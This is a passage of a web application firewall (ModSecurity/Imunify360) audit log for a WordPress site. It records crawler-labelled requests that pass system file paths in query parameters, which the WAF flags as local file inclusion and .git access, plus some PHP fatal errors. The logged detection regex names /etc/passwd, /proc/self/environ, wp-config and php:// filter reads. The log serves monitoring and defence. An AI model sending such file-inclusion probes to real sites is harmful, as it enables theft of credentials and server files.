rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"d9acd247b7e0d3b1a6c77da2543d6ce1","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/opt/php8.1/include/php/Zend/zend_builtin_functions.h||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":256,"p2":3769,"p3":0,"p4":0,"p5":388,"sr":95,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:47:46.664791 +0100","transaction_id":"abOW8oJMkxuqkfzoMwBONgAAAcU","remote_address":"57.141.20.52","remote_port":34592,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/organization-chart/organization-chart.1.7.0.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.52","X-Forwarded-Proto":"https","X-Request-Id":"f6b289d8e285555d6db0ee36ea6650ba","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6784240"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"f6b289d8e285555d6db0ee36ea6650ba","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/organization-chart/organization-chart.1.7.0.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":306,"p2":6310,"p3":0,"p4":0,"p5":375,"sr":130,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:48:08.879116 +0100","transaction_id":"abOXCIJMkxuqkfzoMwBOYgAAAdE","remote_address":"57.141.20.56","remote_port":39270,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/locale/zh_TW/LC_MESSAGES/systemd.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.56","X-Forwarded-Proto":"https","X-Request-Id":"4f565a585d51228fa718ab696d93b66b","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"8912901"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"4f565a585d51228fa718ab696d93b66b","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/zh_TW/LC_MESSAGES/systemd.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":430,"p2":15874,"p3":0,"p4":0,"p5":369,"sr":162,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:48:24.955080 +0100","transaction_id":"abOXGJn1uGdaZ1c5-sN5vAAAAAY","remote_address":"57.141.20.4","remote_port":45906,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/locale/ku/LC_MESSAGES/glib20.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.4","X-Forwarded-Proto":"https","X-Request-Id":"a8839e90d34d3a1214fccc967b1fb067","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"5178969"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"a8839e90d34d3a1214fccc967b1fb067","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/ku/LC_MESSAGES/glib20.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":290,"p2":5977,"p3":0,"p4":0,"p5":316,"sr":123,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:49:35.548221 +0100","transaction_id":"abOXXqJN8EaaUUoW-HGSRAAAAEw","remote_address":"114.119.145.169","remote_port":45080,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/50572751 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.145.169","X-Forwarded-Proto":"http","X-Request-Id":"403c58af4f392aab3e2c2a8fd51d7657","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"559398","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"403c58af4f392aab3e2c2a8fd51d7657","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":248,"p2":5003,"p3":0,"p4":0,"p5":224,"sr":146,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:49:47.116100 +0100","transaction_id":"abOXanAYndnjcgJ-i-LmDgAAAI0","remote_address":"57.141.20.56","remote_port":55738,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/dd/0b988124b3f0c6196789f403ece142276be5f9 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.56","X-Forwarded-Proto":"https","X-Request-Id":"19253bad9fc268d27224fc7bc1032645","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"5179000"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Upgrade":"h2,h2c","Connection":"Upgrade","Vary":"Accept-Encoding","X-Orig-Rid":"19253bad9fc268d27224fc7bc1032645","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/organic-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/dd/0b988124b3f0c6196789f403ece142276be5f9||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":2650,"p2":9823,"p3":0,"p4":0,"p5":453,"sr":168,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:51:33.356489 +0100","transaction_id":"abOX1aJN8EaaUUoW-HGTpQAAAEE","remote_address":"57.141.20.39","remote_port":54792,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/6a/e32da3032b1473e864f7b89d64a778ba76ddca HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.39","X-Forwarded-Proto":"https","X-Request-Id":"90282a6d8f9e6675d484a5e0612aade5","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"8847560"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"90282a6d8f9e6675d484a5e0612aade5","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/organic-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/6a/e32da3032b1473e864f7b89d64a778ba76ddca||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":202,"p2":3989,"p3":0,"p4":0,"p5":302,"sr":100,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:52:34.250404 +0100","transaction_id":"abOYEZn1uGdaZ1c5-sN9OwAAABI","remote_address":"57.141.20.48","remote_port":40132,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/locale/ru/LC_MESSAGES/wget.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.48","X-Forwarded-Proto":"https","X-Request-Id":"402da11e1258c5874c88bec2bd4e270e","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"8913130"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"402da11e1258c5874c88bec2bd4e270e","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/ru/LC_MESSAGES/wget.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":319,"p2":6433,"p3":0,"p4":0,"p5":367,"sr":152,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:53:10.084176 +0100","transaction_id":"abOYNZn1uGdaZ1c5-sN91gAAABU","remote_address":"57.141.20.56","remote_port":48366,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/usr/share/terminfo/v/vt100-am HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.56","X-Forwarded-Proto":"https","X-Request-Id":"b06987e4be3e262c2461104138ebf818","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"7897992"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"b06987e4be3e262c2461104138ebf818","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/v/vt100-am||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":320,"p2":6180,"p3":0,"p4":0,"p5":366,"sr":150,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:54:26.070326 +0100","transaction_id":"abOYgZn1uGdaZ1c5-sN_ggAAABA","remote_address":"57.141.20.6","remote_port":48324,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/usr/share/locale/eu/LC_MESSAGES/iso_3166-3.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.6","X-Forwarded-Proto":"https","X-Request-Id":"84758284ed533929d30a9516f66b897f","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"1115550"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"84758284ed533929d30a9516f66b897f","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/eu/LC_MESSAGES/iso_3166-3.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":191,"p2":4327,"p3":0,"p4":0,"p5":259,"sr":99,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:54:52.792883 +0100","transaction_id":"abOYnJn1uGdaZ1c5-sN_-QAAABY","remote_address":"114.119.154.203","remote_port":32890,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/33346651 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.154.203","X-Forwarded-Proto":"http","X-Request-Id":"2fd0825663a2855120e78f623b32c939","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"8880978","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"2fd0825663a2855120e78f623b32c939","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":291,"p2":5735,"p3":0,"p4":0,"p5":318,"sr":136,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:55:18.628772 +0100","transaction_id":"abOYtaJN8EaaUUoW-HGWqgAAAEQ","remote_address":"57.141.20.39","remote_port":54908,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/opt/php7.0/include/php/main/rfc1867.h HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.39","X-Forwarded-Proto":"https","X-Request-Id":"1eeed2f7aa1181cd2be886f5b8cc11c8","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"8323473"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"1eeed2f7aa1181cd2be886f5b8cc11c8","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/opt/php7.0/include/php/main/rfc1867.h||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":291,"p2":5797,"p3":0,"p4":0,"p5":393,"sr":141,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:57:28.760261 +0100","transaction_id":"abOZN3TKz0lG0I1MN53_NAAAAMI","remote_address":"114.119.154.67","remote_port":47110,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/28885951 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.154.67","X-Forwarded-Proto":"http","X-Request-Id":"edd917227816cad68c6becfe6276f2a4","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4689282","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"edd917227816cad68c6becfe6276f2a4","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in 